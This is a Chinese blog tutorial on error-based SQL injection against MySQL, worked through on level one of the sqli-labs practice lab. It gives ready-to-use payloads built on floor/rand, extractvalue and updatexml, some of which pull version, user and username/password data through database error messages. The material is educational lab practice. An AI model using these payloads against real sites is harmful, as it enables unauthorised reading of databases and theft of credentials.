美文网首页web安全
报错注入(基于sqli-labs第一关)

报错注入(基于sqli-labs第一关)

作者: shadowflow | 来源:发表于2018-07-10 13:27 被阅读0次
报错注入原理

构造payload让信息通过错误提示回显出来

应用场景:

  • 查询不回显内容,会打印错误消息
  • update,insert等语句,会打印错误信息  (UNION联合注入不适用于update,insert等语句之后注入)

典型存在报错注入的代码:

if($row)
{
      echo 'Your Login name:'. $row['username'];
else
{
      print_r(mysql_error());
}
报错注入方法:

凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里列举3种:


floor():

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
注:
  1. concat: 连接字符串功能
  2. floor: 取float的整数值(向下取整)
  3. rand: 取0~1之间的随机浮点值
  4. group by: 根据一个或多个列对结果集进行分组并有排序功能
  5. floor(rand(0)*2): 随机产生0或1

sqli-labs第一关:
http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select version()),0x7e,floor(rand(0)*2)))--+
波浪号之间的就是执行结果

group by 对 rand()函数进行操作时产生错误


extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));
第一个0x7e只要是非法xpath格式就行
ectractvalue():接受两个参数,第一个XML文档,第二个XPATH语句

xpath语法错误产生报错


updatexml():

select updatexml(1,concat(0x7e,(select user(),0x7e),1);
http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
中间参数是xpath语法

对xpath语法错误产生报错

TIP:

报错注入对返回的数据长度是有限制的,最多有32位,怎么办?
答:用substr对数据进行截取。

http://127.0.0.1/Less-1/?id=1' and (select updatexml(1,concat(0x7e,(select substr(concat(username,0x7e,password),1,6) from users limit 0,1),0x7e),1))--+
返回结果:~Dumb~D~

相关文章

  • 报错注入(基于sqli-labs第一关)

    报错注入原理 构造payload让信息通过错误提示回显出来 应用场景: 查询不回显内容,会打印错误消息 updat...

  • 20200227 SQL注入及杂事

    报错型注入 昨天学了基于时间型和基于布尔型的盲注,今天整个报错型的注入 基本分为: 双查询注入 基于extract...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • 01.sqlmap

    1. sqlmap支持五种不同的注入模式: 基于布尔的盲注; 基于时间的盲注; 基于报错注入; 联合查询注入,un...

  • 12月4日上午:基本的sql注入

    基于报错的检测注入方法 基于布尔的检测注入方法 检测select 查询的字段数。order by 查询的是sele...

  • WeBug漏洞靶场

    WeBug漏洞靶场记录 第一关:很简单的一个注入 单引号检测报错,说明存在注入。 进行猜解表段数目: 从1开始,当...

  • Sqli-labs学习笔记(Part2)

    Less1-Error Based-Single quotes - Strings 第一关是基于字符串单引号的注入...

  • Less-9

    其实每一关在sqli-labs的首页都可以看到是什么类型的注入...... 这题是基于时间的盲注单引号GET型 关...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • [sqli-labs]Less-17(报错注入)

    报错注入 , 好深奥 , 叼叼叼

网友评论

    本文标题:报错注入(基于sqli-labs第一关)

    本文链接:https://www.haomeiwen.com/subject/pnwxpftx.html